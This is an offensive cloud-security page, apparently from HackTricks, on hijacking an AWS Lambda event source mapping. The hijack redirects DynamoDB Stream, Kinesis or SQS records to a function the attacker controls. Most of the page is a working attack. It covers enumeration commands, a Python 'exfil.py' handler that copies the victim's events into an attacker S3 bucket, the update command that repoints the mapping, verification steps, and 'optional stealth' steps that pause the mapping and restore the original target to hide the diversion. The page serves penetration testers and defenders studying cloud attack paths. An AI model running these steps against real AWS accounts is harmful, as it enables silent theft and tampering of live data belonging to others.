Skip to content

Latest commit

 

History

History
81 lines (66 loc) · 3.29 KB

File metadata and controls

81 lines (66 loc) · 3.29 KB

AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda

{{#include ../../../../banners/hacktricks-training.md}}

Abuse UpdateEventSourceMapping to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.

Impact

  • Divert and read live records from existing streams/queues without modifying producer apps or victim code.
  • Potential data exfiltration or logic tampering by processing the victim's traffic in a rogue function.

Required permissions

  • lambda:ListEventSourceMappings
  • lambda:GetEventSourceMapping
  • lambda:UpdateEventSourceMapping
  • Ability to deploy or reference an attacker-controlled Lambda (lambda:CreateFunction or permission to use an existing one).

Steps

  1. Enumerate event source mappings for the victim function
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
  --query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
  --query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
  --query 'EventSourceMappings[0].EventSourceArn' --output text)
  1. Prepare an attacker-controlled receiver Lambda (same region; ideally similar VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
    print(json.dumps(event)[:3000])
    b = os.environ.get('EXFIL_S3')
    if b:
        k = f"evt-{int(time.time())}.json"
        boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
    return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
  --function-name ht-esm-exfil \
  --runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
  --handler exfil.lambda_handler --zip-file fileb://exfil.zip \
  --query FunctionArn --output text)
  1. Re-point the mapping to the attacker function
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
  1. Generate an event on the source so the mapping fires (example: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
  1. Verify the attacker function receives the batch
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
  1. Optional stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true

Notes:

  • For SQS ESMs, the execution role of the Lambda processing the queue needs sqs:ReceiveMessage, sqs:DeleteMessage, and sqs:GetQueueAttributes (managed policy: AWSLambdaSQSQueueExecutionRole).
  • The ESM UUID remains the same; only its FunctionArn is changed, so producers and source ARNs are untouched.

{{#include ../../../../banners/hacktricks-training.md}}